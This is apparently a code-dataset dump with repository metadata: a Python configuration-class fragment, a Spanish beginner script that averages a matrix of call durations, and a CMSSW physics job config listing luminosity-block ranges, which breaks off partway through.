def set_peerGroups(self, pg):
self.peerGroups = pg
class standalone():
def __init__(self, coreAddress="localhost:49500"):
self.coreAddress = coreAddress
def set_coreAddress(self, coreAddress):
self.coreAddress = coreAddress
class new:
def __init__(self,runtime=runtime(), service=service(), standalone=standalone()):
self.runtime = runtime
self.service = service
self.standalone = standalone
def set_runtime(self, runtime):
self.runtime = runtime
def set_service(self, service):
self.service = service
def set_standalone(self, standalone):
self.standalone = standalone
| [
"abedick@ku.edu"
] | abedick@ku.edu |
92b815e600b230685891c67f8bba16474192a403 | 0100c2e410fe5cf9f16c2febc7a0dfa9e4e83b0b | /Ejercicio3.py | 65d402137faf52513dd2e8e16de3cd76278a2b1b | [] | no_license | henrymarinho90/helloworld | bdd47e1ab02ddea39577759400c94cb6b1411cd9 | 1d77e3f621a582b22770a803747279e558bb086f | refs/heads/master | 2022-11-16T15:52:07.996015 | 2022-11-04T03:08:22 | 2022-11-04T03:08:22 | 232,723,036 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 800 | py | #Funcion para Crear la matriz
def matrizKreator(n,m):
A=[]
for i in range(n):
A.append([])
for j in range(m):
A[i].append(int(input("Ingrese la duracion de llamada en segundos: ")))
return(A);
#Funcion para calcular el promedio de la matriz
def prom(A):
Agente=0
suma=0
for i in A:
for j in i:
suma+=j
Agente+=1
return suma/Agente
#Definir tamaño del vector
n = int(input("Ingrese el numero de agentes: "));
m = int(input("Ingrese el numero de llamadas por agente: "))
#Mostrar la matriz creada
Matrix=matrizKreator(n,m)
print("La matriz creada es la siguiente: ", Matrix, end= " ")
#Calcular el promedio
Promedio=prom(Matrix)
print("El promedio de la matriz creada es el siguiente: ", Promedio, end= " ")
| [
"henrymarinho90@gmail.com"
] | henrymarinho90@gmail.com |
263b4e73ca9c63039667b3f9bfd7f5987ff27324 | 56f5b2ea36a2258b8ca21e2a3af9a5c7a9df3c6e | /CMGTools/H2TauTau/prod/TauES_test/up/emb/DoubleMuParked/StoreResults-Run2012C_22Jan2013_v1_PFembedded_trans1_tau132_pthad1_30had2_30_v1-5ef1c0fd428eb740081f19333520fdc8/USER/V5_B/PAT_CMG_V5_16_0_1374851248/HTT_24Jul_newTES_manzoni_Up_Jobs/Job_165/run_cfg.py | 8c6b3e542ac26649a77e44a538c98aeaa7bee2f0 | [] | no_license | rmanzoni/HTT | 18e6b583f04c0a6ca10142d9da3dd4c850cddabc | a03b227073b2d4d8a2abe95367c014694588bf98 | refs/heads/master | 2016-09-06T05:55:52.602604 | 2014-02-20T16:35:34 | 2014-02-20T16:35:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 69,050 | py | import FWCore.ParameterSet.Config as cms
import os,sys
sys.path.append('/afs/cern.ch/user/m/manzoni/summer13/CMGTools/CMSSW_5_3_9/src/CMGTools/H2TauTau/prod/TauES_test/up/emb/DoubleMuParked/StoreResults-Run2012C_22Jan2013_v1_PFembedded_trans1_tau132_pthad1_30had2_30_v1-5ef1c0fd428eb740081f19333520fdc8/USER/V5_B/PAT_CMG_V5_16_0_1374851248/HTT_24Jul_newTES_manzoni_Up_Jobs')
from base_cfg import *
process.source = cms.Source("PoolSource",
noEventSort = cms.untracked.bool(True),
inputCommands = cms.untracked.vstring('keep *',
'drop cmgStructuredPFJets_cmgStructuredPFJetSel__PAT'),
lumisToProcess = cms.untracked.VLuminosityBlockRange( ("190645:10-190645:110", "190646:1-190646:111", "190659:33-190659:167", "190679:1-190679:55", "190688:69-190688:249",
"190702:51-190702:53", "190702:55-190702:122", "190702:124-190702:169", "190703:1-190703:252", "190704:1-190704:3",
"190705:1-190705:5", "190705:7-190705:65", "190705:81-190705:336", "190705:338-190705:350", "190705:353-190705:383",
"190706:1-190706:126", "190707:1-190707:237", "190707:239-190707:257", "190708:1-190708:189", "190733:71-190733:96",
"190733:99-190733:389", "190733:392-190733:460", "190736:1-190736:80", "190736:83-190736:185", "190738:1-190738:130",
"190738:133-190738:226", "190738:229-190738:349", "190782:55-190782:181", "190782:184-190782:233", "190782:236-190782:399",
"190782:401-190782:409", "190895:64-190895:202", "190895:210-190895:302", "190895:305-190895:584", "190895:587-190895:948",
"190906:73-190906:256", "190906:259-190906:354", "190906:356-190906:496", "190945:124-190945:207", "190949:1-190949:81",
"191043:45-191043:46", "191046:1-191046:21", "191046:24-191046:82", "191046:84-191046:88", "191046:92-191046:116",
"191046:119-191046:180", "191046:183", "191046:185-191046:239", "191056:1", "191056:4-191056:9",
"191056:16-191056:17", "191056:19", "191057:1", "191057:4-191057:40", "191062:1",
"191062:3", "191062:5-191062:214", "191062:216-191062:541", "191090:1-191090:55", "191201:38-191201:49",
"191201:52-191201:79", "191202:1-191202:64", "191202:66-191202:68", "191202:87-191202:105", "191202:108-191202:118",
"191226:77-191226:78", "191226:81-191226:831", "191226:833-191226:1454", "191226:1456-191226:1466", "191226:1469-191226:1507",
"191226:1510-191226:1686", "191247:1-191247:153", "191247:156-191247:280", "191247:283-191247:606", "191247:608-191247:620",
"191247:622-191247:818", "191247:821-191247:834", "191247:837-191247:1031", "191247:1034-191247:1046", "191247:1049-191247:1140",
"191247:1143-191247:1187", "191247:1190-191247:1214", "191247:1217-191247:1224", "191248:1-191248:103", "191264:59-191264:79",
"191264:82-191264:152", "191264:155-191264:189", "191271:56-191271:223", "191271:225-191271:363", "191276:1-191276:16",
"191277:1-191277:28", "191277:30-191277:164", "191277:167-191277:253", "191277:255-191277:457", "191277:460-191277:535",
"191277:537-191277:576", "191277:579-191277:775", "191277:778-191277:811", "191277:813-191277:849", "191367:1-191367:2",
"191411:1-191411:23", "191695:1", "191718:43-191718:95", "191718:98-191718:207", "191720:1",
"191720:3-191720:15", "191720:17-191720:181", "191721:1", "191721:3-191721:34", "191721:36-191721:183",
"191721:186-191721:189", "191726:1-191726:13", "191810:15", "191810:22-191810:49", "191810:52-191810:92",
"191830:54-191830:242", "191830:245-191830:301", "191830:304-191830:393", "191833:1", "191833:3-191833:103",
"191834:1-191834:30", "191834:33-191834:74", "191834:77-191834:299", "191834:302-191834:352", "191837:1-191837:44",
"191837:47-191837:53", "191837:56-191837:65", "191856:1-191856:133", "191859:1-191859:28", "191859:31-191859:126",
"193093:1-193093:33", "193123:1-193123:27", "193124:1-193124:52", "193192:58-193192:86", "193193:1-193193:6",
"193193:8", "193193:11-193193:83", "193193:86-193193:120", "193193:122-193193:160", "193193:162-193193:274",
"193193:276-193193:495", "193193:497-193193:506", "193207:54-193207:182", "193334:29-193334:172", "193336:1-193336:264",
"193336:267-193336:492", "193336:495-193336:684", "193336:687-193336:729", "193336:732-193336:951", "193541:77-193541:101",
"193541:103-193541:413", "193541:416-193541:575", "193541:578-193541:619", "193556:41-193556:83", "193557:1-193557:84",
"193575:48-193575:173", "193575:176-193575:349", "193575:351-193575:394", "193575:397-193575:415", "193575:417-193575:658",
"193575:660-193575:752", "193621:60-193621:570", "193621:573-193621:769", "193621:772-193621:976", "193621:979-193621:1053",
"193621:1056-193621:1137", "193621:1139-193621:1193", "193621:1195-193621:1371", "193621:1373-193621:1654", "193834:1-193834:35",
"193835:1-193835:20", "193835:22-193835:26", "193836:1-193836:2", "193998:66-193998:113", "193998:115-193998:278",
"193999:1-193999:45", "194027:57-194027:113", "194050:53-194050:113", "194050:116-194050:273", "194050:275-194050:355",
"194050:357-194050:369", "194050:372-194050:391", "194050:394-194050:490", "194050:492-194050:814", "194050:816-194050:1435",
"194050:1437-194050:1735", "194050:1760-194050:1888", "194051:1-194051:12", "194052:1-194052:99", "194052:102-194052:166",
"194075:48-194075:101", "194075:103", "194075:105-194075:107", "194075:109", "194075:111",
"194076:1-194076:9", "194076:11-194076:55", "194076:58-194076:163", "194076:165-194076:228", "194076:230-194076:264",
"194076:267-194076:507", "194076:509-194076:527", "194076:530-194076:538", "194076:541-194076:562", "194076:565-194076:748",
"194108:81-194108:161", "194108:164-194108:264", "194108:266-194108:373", "194108:376-194108:396", "194108:398-194108:433",
"194108:436-194108:452", "194108:454-194108:577", "194108:579-194108:590", "194108:593-194108:668", "194108:671-194108:872",
"194115:66-194115:184", "194115:186-194115:338", "194115:340-194115:346", "194115:348-194115:493", "194115:496-194115:731",
"194115:819-194115:857", "194117:1-194117:38", "194119:1-194119:229", "194119:232-194119:261", "194120:1-194120:162",
"194120:165-194120:406", "194150:42-194150:127", "194150:129-194150:261", "194150:264-194150:311", "194151:47-194151:72",
"194151:75-194151:191", "194151:193-194151:238", "194151:240-194151:617", "194151:619", "194151:621",
"194151:623", "194153:1-194153:115", "194199:96-194199:227", "194199:229-194199:336", "194199:339-194199:402",
"194210:3-194210:195", "194210:198-194210:217", "194210:220-194210:359", "194210:361-194210:555", "194223:61-194223:112",
"194224:1-194224:126", "194224:129-194224:206", "194224:208-194224:250", "194224:253-194224:309", "194224:312-194224:386",
"194224:389-194224:412", "194225:1-194225:23", "194225:26-194225:47", "194225:49-194225:85", "194225:88-194225:149",
"194270:56-194270:68", "194303:56-194303:66", "194303:69-194303:102", "194304:1-194304:43", "194304:46",
"194305:1-194305:84", "194314:52-194314:130", "194314:133-194314:300", "194315:1-194315:10", "194315:13-194315:314",
"194315:317-194315:428", "194315:431-194315:452", "194315:455-194315:467", "194317:1-194317:20", "194424:63-194424:141",
"194424:144-194424:195", "194424:198-194424:266", "194424:268-194424:421", "194424:424-194424:478", "194424:481-194424:531",
"194424:534-194424:553", "194424:556-194424:706", "194424:708", "194428:1-194428:85", "194428:87-194428:122",
"194428:125-194428:294", "194428:296-194428:465", "194429:1-194429:4", "194429:7-194429:54", "194429:57-194429:147",
"194429:150-194429:411", "194429:413-194429:742", "194429:745-194429:986", "194429:988-194429:1019", "194439:46-194439:77",
"194439:79-194439:106", "194455:45-194455:64", "194455:67-194455:140", "194455:142-194455:255", "194455:293-194455:303",
"194464:1-194464:127", "194464:130-194464:142", "194464:145-194464:210", "194479:1-194479:44", "194479:165-194479:232",
"194479:235-194479:262", "194479:265-194479:374", "194479:377-194479:431", "194479:434-194479:489", "194479:492-194479:529",
"194479:531-194479:566", "194480:1-194480:32", "194480:34-194480:205", "194480:207-194480:375", "194480:377-194480:387",
"194480:389-194480:759", "194480:762-194480:956", "194480:959-194480:1402", "194533:46-194533:379", "194533:382-194533:415",
"194533:417-194533:618", "194533:620-194533:872", "194619:31-194619:110", "194631:1-194631:42", "194631:44-194631:100",
"194631:102-194631:169", "194631:171-194631:222", "194643:1-194643:287", "194644:1-194644:168", "194644:171-194644:181",
"194644:184-194644:185", "194644:187-194644:319", "194644:321-194644:421", "194691:61-194691:104", "194691:107-194691:155",
"194691:158-194691:251", "194691:254-194691:268", "194691:271-194691:272", "194691:275-194691:289", "194691:292-194691:313",
"194699:1-194699:30", "194699:32-194699:52", "194699:55-194699:64", "194699:67-194699:71", "194699:73-194699:154",
"194699:157-194699:215", "194699:218-194699:238", "194699:241-194699:259", "194702:1-194702:138", "194702:141-194702:191",
"194704:1-194704:41", "194704:44-194704:545", "194704:548-194704:592", "194711:1-194711:7", "194711:9-194711:619",
"194712:1-194712:56", "194712:61-194712:418", "194712:420-194712:625", "194712:627-194712:759", "194735:44-194735:71",
"194735:74-194735:101", "194735:104-194735:130", "194778:60-194778:118", "194778:120-194778:219", "194789:1-194789:18",
"194789:21-194789:32", "194789:34-194789:80", "194789:82-194789:166", "194789:168-194789:269", "194789:272-194789:405",
"194789:409-194789:414", "194789:417-194789:427", "194789:430-194789:566", "194790:1-194790:45", "194825:72-194825:117",
"194825:120-194825:221", "194896:34-194896:55", "194896:58-194896:79", "194896:82-194896:103", "194897:1-194897:6",
"194897:8-194897:78", "194897:80-194897:96", "194897:98-194897:102", "194912:53-194912:70", "194912:72-194912:96",
"194912:98-194912:444", "194912:446-194912:450", "194912:453-194912:467", "194912:470-194912:561", "194912:564-194912:660",
"194912:663-194912:813", "194912:815-194912:840", "194912:843-194912:864", "194912:866-194912:1004", "194912:1007-194912:1025",
"194912:1027-194912:1067", "194912:1069-194912:1137", "194912:1140-194912:1166", "194912:1168-194912:1249", "194912:1251-194912:1304",
"194912:1307-194912:1444", "194912:1447-194912:1487", "194912:1489-194912:1503", "194912:1506-194912:1662", "194914:1-194914:38",
"194915:1-194915:74", "195013:94-195013:144", "195013:146-195013:185", "195013:187-195013:206", "195013:208-195013:299",
"195013:302-195013:324", "195013:326-195013:366", "195013:369-195013:447", "195013:450-195013:526", "195013:528-195013:541",
"195014:1-195014:6", "195014:9-195014:119", "195014:121-195014:148", "195015:1-195015:13", "195016:1-195016:21",
"195016:23-195016:55", "195016:58-195016:63", "195016:65-195016:174", "195016:177-195016:184", "195016:186-195016:241",
"195016:243-195016:246", "195016:248-195016:251", "195016:254-195016:367", "195016:370-195016:422", "195016:425-195016:560",
"195016:563-195016:569", "195099:70-195099:144", "195099:147-195099:186", "195099:189-195099:208", "195099:211-195099:224",
"195099:227-195099:248", "195109:98-195109:241", "195112:1-195112:12", "195112:15-195112:26", "195113:1-195113:209",
"195113:212-195113:388", "195113:391-195113:403", "195113:406-195113:419", "195113:422-195113:492", "195113:495-195113:579",
"195114:1-195114:69", "195114:72-195114:103", "195115:1-195115:7", "195115:10-195115:22", "195147:132-195147:282",
"195147:285-195147:294", "195147:297-195147:331", "195147:334-195147:363", "195147:366-195147:442", "195147:445-195147:536",
"195147:539-195147:559", "195163:72-195163:138", "195163:140-195163:224", "195163:227-195163:240", "195163:243",
"195163:246-195163:347", "195164:1-195164:64", "195165:1-195165:4", "195165:7-195165:41", "195165:44-195165:54",
"195165:56-195165:153", "195165:156-195165:260", "195165:263-195165:266", "195251:1-195251:131", "195251:134-195251:137",
"195251:140-195251:152", "195251:154-195251:165", "195251:167-195251:242", "195303:109-195303:191", "195303:194-195303:277",
"195303:280-195303:310", "195303:312-195303:316", "195303:318-195303:409", "195304:1-195304:3", "195304:6-195304:22",
"195304:27-195304:80", "195304:83-195304:100", "195304:103-195304:154", "195304:157-195304:341", "195304:344-195304:588",
"195304:590-195304:727", "195304:729-195304:1003", "195304:1006-195304:1079", "195304:1083-195304:1140", "195304:1143-195304:1229",
"195378:90-195378:117", "195378:120-195378:127", "195378:130-195378:185", "195378:187-195378:204", "195378:206-195378:302",
"195378:305-195378:542", "195378:544-195378:565", "195378:567-195378:645", "195378:647-195378:701", "195378:703-195378:734",
"195378:737-195378:1120", "195378:1122-195378:1133", "195390:1", "195390:4-195390:27", "195390:30-195390:145",
"195390:147-195390:183", "195390:186-195390:187", "195390:190-195390:208", "195390:210-195390:213", "195390:215-195390:400",
"195396:49-195396:55", "195396:58-195396:63", "195396:66-195396:131", "195397:1-195397:10", "195397:12-195397:89",
"195397:92-195397:120", "195397:123-195397:141", "195397:143-195397:251", "195397:253", "195397:256-195397:475",
"195397:478-195397:525", "195397:527-195397:608", "195397:611-195397:776", "195397:779-195397:970", "195397:972-195397:1121",
"195397:1123-195397:1181", "195397:1184-195397:1198", "195397:1200-195397:1209", "195398:3-195398:137", "195398:139-195398:494",
"195398:497-195398:585", "195398:587-195398:817", "195398:820-195398:824", "195398:827-195398:1225", "195398:1228-195398:1307",
"195398:1309-195398:1712", "195398:1721-195398:1736", "195398:1741-195398:1752", "195398:1767-195398:1795", "195399:1-195399:192",
"195399:194-195399:382", "195530:1-195530:80", "195530:82-195530:104", "195530:107-195530:156", "195530:159-195530:300",
"195530:302-195530:405", "195540:68-195540:123", "195540:126-195540:137", "195540:140-195540:283", "195540:286-195540:319",
"195551:91-195551:106", "195552:1-195552:21", "195552:23-195552:27", "195552:30-195552:147", "195552:149-195552:155",
"195552:158-195552:182", "195552:185-195552:287", "195552:290-195552:349", "195552:352-195552:469", "195552:472-195552:815",
"195552:818-195552:823", "195552:825-195552:883", "195552:885-195552:1152", "195552:1154-195552:1300", "195552:1303-195552:1789",
"195633:40-195633:42", "195647:1-195647:41", "195649:1-195649:69", "195649:72-195649:151", "195649:154-195649:181",
"195649:183-195649:247", "195655:1-195655:129", "195655:131-195655:184", "195655:186-195655:260", "195655:263-195655:350",
"195655:353-195655:446", "195655:448-195655:483", "195655:485-195655:498", "195656:1-195656:362", "195658:1-195658:37",
"195658:40-195658:362", "195658:364-195658:382", "195658:384-195658:386", "195749:1-195749:8", "195749:10-195749:33",
"195749:36-195749:131", "195757:1-195757:82", "195757:85-195757:115", "195757:118-195757:161", "195757:163-195757:206",
"195758:1-195758:18", "195774:1-195774:13", "195774:16-195774:137", "195774:139-195774:151", "195774:154-195774:162",
"195774:164-195774:256", "195774:258-195774:276", "195774:279-195774:362", "195774:365-195774:466", "195774:469-195774:618",
"195774:620-195774:649", "195774:651-195774:830", "195775:1-195775:57", "195775:60-195775:100", "195775:103-195775:170",
"195776:1-195776:63", "195776:66-195776:283", "195776:286-195776:337", "195776:340-195776:399", "195776:401-195776:409",
"195776:411-195776:477", "195841:74-195841:85", "195868:1-195868:88", "195868:90-195868:107", "195868:110-195868:205",
"195915:1-195915:109", "195915:111-195915:275", "195915:278-195915:390", "195915:393-195915:417", "195915:419-195915:429",
"195915:432-195915:505", "195915:507-195915:747", "195915:749-195915:785", "195915:787-195915:828", "195915:830-195915:850",
"195916:1-195916:16", "195916:19-195916:68", "195916:71-195916:212", "195917:1-195917:4", "195918:1-195918:44",
"195918:46", "195918:49-195918:64", "195919:1-195919:15", "195923:1-195923:14", "195925:1-195925:12",
"195926:1", "195926:3-195926:19", "195926:21-195926:34", "195929:1-195929:29", "195930:1-195930:77",
"195930:80-195930:176", "195930:179-195930:526", "195930:529-195930:596", "195937:1-195937:28", "195937:31-195937:186",
"195937:188-195937:396", "195947:23-195947:62", "195947:64-195947:88", "195948:51-195948:116", "195948:119-195948:144",
"195948:147", "195948:150-195948:352", "195948:355-195948:369", "195948:372-195948:402", "195948:404-195948:500",
"195948:503-195948:540", "195948:543-195948:565", "195948:567-195948:602", "195948:605-195948:615", "195950:1-195950:71",
"195950:73-195950:138", "195950:141-195950:169", "195950:172-195950:332", "195950:335-195950:350", "195950:353-195950:382",
"195950:385-195950:421", "195950:424-195950:450", "195950:453-195950:483", "195950:485-195950:616", "195950:619-195950:715",
"195950:718-195950:787", "195950:789-195950:800", "195950:803-195950:829", "195950:831", "195950:833-195950:1587",
"195963:54-195963:58", "195970:44-195970:49", "195970:51-195970:85", "196019:54-196019:68", "196027:1-196027:55",
"196027:58-196027:119", "196027:121-196027:155", "196027:158-196027:186", "196046:12-196046:40", "196047:1-196047:64",
"196047:70-196047:75", "196048:1-196048:44", "196048:46-196048:48", "196197:58-196197:122", "196197:125-196197:179",
"196197:181-196197:311", "196197:313-196197:516", "196197:519-196197:562", "196199:1-196199:33", "196199:36-196199:83",
"196199:86-196199:118", "196199:121-196199:147", "196199:150-196199:237", "196199:239-196199:285", "196199:287-196199:534",
"196200:1-196200:68", "196202:3-196202:61", "196202:64-196202:108", "196203:1-196203:102", "196203:107-196203:117",
"196218:55-196218:199", "196218:201-196218:224", "196218:226-196218:393", "196218:396-196218:494", "196218:496-196218:741",
"196218:744-196218:752", "196218:754-196218:757", "196218:759-196218:820", "196239:1-196239:59", "196239:62-196239:154",
"196239:157-196239:272", "196239:274-196239:373", "196239:375-196239:432", "196239:435-196239:465", "196239:468-196239:647",
"196239:650-196239:706", "196239:709-196239:1025", "196249:63-196249:77", "196249:80-196249:99", "196250:1-196250:2",
"196250:5-196250:265", "196250:267-196250:426", "196252:1-196252:35", "196334:59-196334:111", "196334:113-196334:123",
"196334:126-196334:132", "196334:135-196334:167", "196334:170-196334:193", "196334:196-196334:257", "196334:259-196334:267",
"196334:270-196334:289", "196334:292-196334:342", "196349:65-196349:84", "196349:86-196349:154", "196349:157-196349:244",
"196349:246-196349:258", "196357:1-196357:4", "196359:1-196359:2", "196362:1-196362:88", "196363:1-196363:8",
"196363:11-196363:34", "196364:1-196364:93", "196364:96-196364:136", "196364:139-196364:365", "196364:368-196364:380",
"196364:382-196364:601", "196364:603-196364:795", "196364:798-196364:884", "196364:887-196364:1196", "196364:1199-196364:1200",
"196364:1203-196364:1299", "196437:1", "196437:3-196437:74", "196437:77-196437:169", "196438:1-196438:181",
"196438:184-196438:699", "196438:701-196438:1269", "196452:82-196452:112", "196452:114-196452:490", "196452:493-196452:586",
"196452:589-196452:618", "196452:622-196452:668", "196452:671-196452:716", "196452:718-196452:726", "196452:728-196452:956",
"196452:958-196452:1004", "196452:1007-196452:1091", "196453:1-196453:74", "196453:77-196453:145", "196453:147-196453:669",
"196453:673-196453:714", "196453:717-196453:799", "196453:802-196453:988", "196453:991-196453:1178", "196453:1180",
"196453:1182-196453:1248", "196453:1250-196453:1528", "196453:1531-196453:1647", "196495:114-196495:180", "196495:182-196495:272",
"196509:1-196509:68", "196531:62-196531:150", "196531:152-196531:253", "196531:256-196531:285", "196531:288-196531:302",
"196531:305-196531:422", "196531:425-196531:440", "198049:1-198049:11", "198049:14-198049:57", "198050:2-198050:155",
"198063:1-198063:37", "198063:40-198063:72", "198063:74-198063:124", "198063:127-198063:294", "198116:36-198116:52",
"198116:54-198116:55", "198116:58-198116:96", "198116:98-198116:112", "198207:1-198207:97", "198208:1-198208:92",
"198208:94-198208:134", "198208:137-198208:147", "198208:150-198208:209", "198210:1-198210:221", "198212:1-198212:574",
"198213:1-198213:107", "198215:1-198215:12", "198230:1-198230:33", "198230:36-198230:57", "198230:60-198230:235",
"198230:237-198230:324", "198230:326-198230:388", "198230:390-198230:459", "198230:462-198230:625", "198230:627-198230:651",
"198230:653-198230:805", "198230:808-198230:811", "198230:814-198230:948", "198230:950-198230:1090", "198230:1093-198230:1103",
"198230:1106-198230:1332", "198230:1335-198230:1380", "198249:1-198249:7", "198269:3-198269:198", "198271:1-198271:91",
"198271:93-198271:170", "198271:173-198271:299", "198271:301-198271:450", "198271:453-198271:513", "198271:516-198271:616",
"198271:619-198271:628", "198271:631-198271:791", "198271:793-198271:797", "198272:1-198272:185", "198272:188-198272:245",
"198272:248-198272:314", "198272:317-198272:433", "198272:436-198272:444", "198272:454-198272:620", "198346:44-198346:47",
"198372:57-198372:110", "198485:68-198485:109", "198485:112-198485:134", "198485:136-198485:181", "198485:184-198485:239",
"198487:1-198487:145", "198487:147-198487:514", "198487:517-198487:668", "198487:671-198487:733", "198487:736-198487:757",
"198487:760-198487:852", "198487:854-198487:994", "198487:997-198487:1434", "198487:1437-198487:1610", "198522:65-198522:144",
"198522:147-198522:208", "198941:102-198941:189", "198941:191-198941:220", "198941:222-198941:241", "198941:243-198941:249",
"198941:252-198941:284", "198954:108-198954:156", "198954:159-198954:277", "198955:1-198955:45", "198955:47-198955:50",
"198955:53-198955:220", "198955:223-198955:269", "198955:271-198955:284", "198955:286-198955:338", "198955:340-198955:580",
"198955:583-198955:742", "198955:744-198955:910", "198955:913-198955:946", "198955:949-198955:1162", "198955:1165-198955:1169",
"198955:1172-198955:1182", "198955:1185-198955:1188", "198955:1190-198955:1246", "198955:1249-198955:1304", "198955:1306-198955:1467",
"198955:1470-198955:1485", "198955:1487-198955:1552", "198969:58-198969:81", "198969:84-198969:247", "198969:249-198969:323",
"198969:325-198969:365", "198969:367-198969:413", "198969:416-198969:466", "198969:468-198969:643", "198969:646-198969:918",
"198969:920-198969:1011", "198969:1013-198969:1175", "198969:1178-198969:1236", "198969:1239-198969:1253", "199008:75-199008:93",
"199008:95-199008:121", "199008:124-199008:208", "199008:211-199008:331", "199008:333-199008:373", "199008:376-199008:482",
"199008:485-199008:605", "199008:608-199008:644", "199011:1-199011:11", "199011:13-199011:24", "199021:59-199021:88",
"199021:91-199021:128", "199021:130-199021:133", "199021:136-199021:309", "199021:311-199021:333", "199021:335-199021:410",
"199021:414-199021:469", "199021:471-199021:533", "199021:535-199021:563", "199021:565-199021:1223", "199021:1226-199021:1479",
"199021:1481-199021:1494", "199318:65-199318:138", "199319:1-199319:7", "199319:9-199319:223", "199319:226-199319:277",
"199319:280-199319:348", "199319:351-199319:358", "199319:360-199319:422", "199319:424-199319:490", "199319:492-199319:493",
"199319:496-199319:612", "199319:615-199319:642", "199319:645-199319:720", "199319:723-199319:728", "199319:730-199319:731",
"199319:734-199319:741", "199319:744-199319:752", "199319:754-199319:943", "199319:945-199319:997", "199336:1-199336:33",
"199336:36-199336:122", "199336:125-199336:231", "199336:234-199336:614", "199336:617-199336:789", "199336:791-199336:977",
"199356:95-199356:121", "199356:123-199356:168", "199356:171-199356:205", "199356:208-199356:231", "199409:25-199409:54",
"199409:56-199409:89", "199409:91-199409:204", "199409:206-199409:290", "199409:293-199409:583", "199409:586-199409:602",
"199409:604-199409:1014", "199409:1016-199409:1300", "199428:61-199428:197", "199428:200-199428:210", "199428:212-199428:382",
"199428:387-199428:414", "199428:417-199428:436", "199428:439-199428:530", "199428:533-199428:648", "199429:1-199429:28",
"199429:30-199429:36", "199429:39-199429:55", "199429:58-199429:101", "199429:103-199429:148", "199429:151-199429:154",
"199435:63-199435:106", "199435:109-199435:261", "199435:263-199435:579", "199435:582-199435:654", "199435:656-199435:696",
"199435:699-199435:1034", "199435:1037-199435:1144", "199435:1147-199435:1327", "199435:1330-199435:1411", "199435:1414-199435:1431",
"199435:1434-199435:1441", "199435:1444-199435:1487", "199435:1489-199435:1610", "199436:1-199436:113", "199436:116-199436:254",
"199436:257-199436:675", "199436:678-199436:748", "199564:1-199564:3", "199569:1-199569:2", "199569:5-199569:136",
"199569:139-199569:367", "199570:1-199570:17", "199571:1-199571:184", "199571:186-199571:360", "199571:363-199571:561",
"199572:1-199572:317", "199573:1-199573:22", "199574:1-199574:53", "199574:56-199574:153", "199574:156-199574:246",
"199608:60-199608:157", "199608:159-199608:209", "199608:211-199608:341", "199608:344-199608:390", "199608:392-199608:461",
"199608:464-199608:800", "199608:802-199608:1064", "199608:1067-199608:1392", "199608:1395-199608:1630", "199608:1633-199608:1904",
"199608:1907-199608:1962", "199608:1965-199608:2252", "199608:2255-199608:2422", "199698:72-199698:94", "199698:96-199698:127",
"199699:1-199699:154", "199699:157-199699:169", "199699:172-199699:410", "199699:412-199699:756", "199703:1-199703:94",
"199703:97-199703:482", "199703:485-199703:529", "199739:66-199739:133", "199751:103-199751:119", "199751:121-199751:127",
"199752:1-199752:141", "199752:144-199752:180", "199752:182-199752:186", "199752:188-199752:211", "199752:214-199752:322",
"199753:1-199753:59", "199754:1-199754:203", "199754:205-199754:325", "199754:328-199754:457", "199754:459-199754:607",
"199754:610-199754:613", "199754:615-199754:806", "199754:808-199754:998", "199804:78-199804:88", "199804:90-199804:181",
"199804:183-199804:235", "199804:238-199804:278", "199804:281-199804:290", "199804:292-199804:519", "199804:522-199804:575",
"199804:577-199804:628", "199804:631-199804:632", "199812:70-199812:141", "199812:144-199812:163", "199812:182-199812:211",
"199812:214-199812:471", "199812:474-199812:505", "199812:508-199812:557", "199812:560-199812:571", "199812:574-199812:623",
"199812:626-199812:751", "199812:754-199812:796", "199832:58-199832:62", "199832:65-199832:118", "199832:121-199832:139",
"199832:142-199832:286", "199833:1-199833:13", "199833:16-199833:103", "199833:105-199833:250", "199833:253-199833:493",
"199833:496-199833:794", "199833:797-199833:1032", "199833:1034-199833:1185", "199833:1188-199833:1239", "199834:1-199834:9",
"199834:11", "199834:14-199834:18", "199834:21-199834:54", "199834:56-199834:57", "199834:62-199834:65",
"199834:69-199834:284", "199834:286-199834:503", "199834:505-199834:942", "199862:59-199862:141", "199864:1-199864:87",
"199864:89", "199864:92-199864:103", "199864:106-199864:372", "199864:374-199864:385", "199864:388-199864:486",
"199867:1-199867:134", "199867:136-199867:172", "199867:174-199867:218", "199867:221-199867:320", "199868:1-199868:21",
"199875:70-199875:150", "199875:152-199875:334", "199876:1-199876:19", "199876:22-199876:95", "199876:97-199876:249",
"199876:252-199876:272", "199876:274-199876:340", "199876:343-199876:362", "199876:365-199876:376", "199877:1-199877:173",
"199877:175-199877:605", "199877:607-199877:701", "199877:703-199877:871", "199960:72-199960:139", "199960:141-199960:197",
"199960:204-199960:232", "199960:235-199960:363", "199960:365-199960:367", "199960:370-199960:380", "199960:383-199960:459",
"199960:461-199960:466", "199960:469-199960:485", "199961:1-199961:211", "199961:213-199961:287", "199967:60-199967:120",
"199967:122-199967:170", "199967:172-199967:198", "199973:73-199973:89", "200041:62-200041:83", "200041:85-200041:157",
"200041:162-200041:274", "200041:277-200041:318", "200041:321-200041:335", "200041:337-200041:386", "200041:388-200041:389",
"200041:392-200041:400", "200041:402-200041:568", "200041:571-200041:593", "200041:595-200041:646", "200041:649-200041:728",
"200041:731-200041:860", "200041:862-200041:930", "200041:932-200041:1096", "200042:1-200042:110", "200042:112-200042:536",
"200049:1-200049:177", "200075:76-200075:139", "200075:142-200075:232", "200075:256-200075:326", "200075:329-200075:422",
"200075:425-200075:431", "200075:434-200075:500", "200075:502-200075:605", "200091:67", "200091:70-200091:151",
"200091:154-200091:172", "200091:174-200091:187", "200091:190-200091:196", "200091:199-200091:201", "200091:204-200091:425",
"200091:428-200091:535", "200091:537-200091:607", "200091:610-200091:879", "200091:881-200091:943", "200091:946-200091:999",
"200091:1001-200091:1025", "200091:1027-200091:1132", "200091:1135-200091:1339", "200091:1341-200091:1433", "200091:1435-200091:1450",
"200091:1453-200091:1523", "200091:1526-200091:1664", "200091:1667-200091:1680", "200091:1683-200091:1710", "200152:74-200152:116",
"200160:52-200160:68", "200161:1-200161:97", "200161:100-200161:112", "200174:81-200174:84", "200177:1-200177:56",
"200178:1-200178:38", "200180:1-200180:18", "200186:1-200186:3", "200186:6-200186:24", "200188:1-200188:24",
"200188:27-200188:28", "200188:31-200188:76", "200188:79-200188:271", "200188:274-200188:352", "200190:1-200190:4",
"200190:6-200190:76", "200190:79-200190:143", "200190:146-200190:159", "200190:162-200190:256", "200190:258-200190:321",
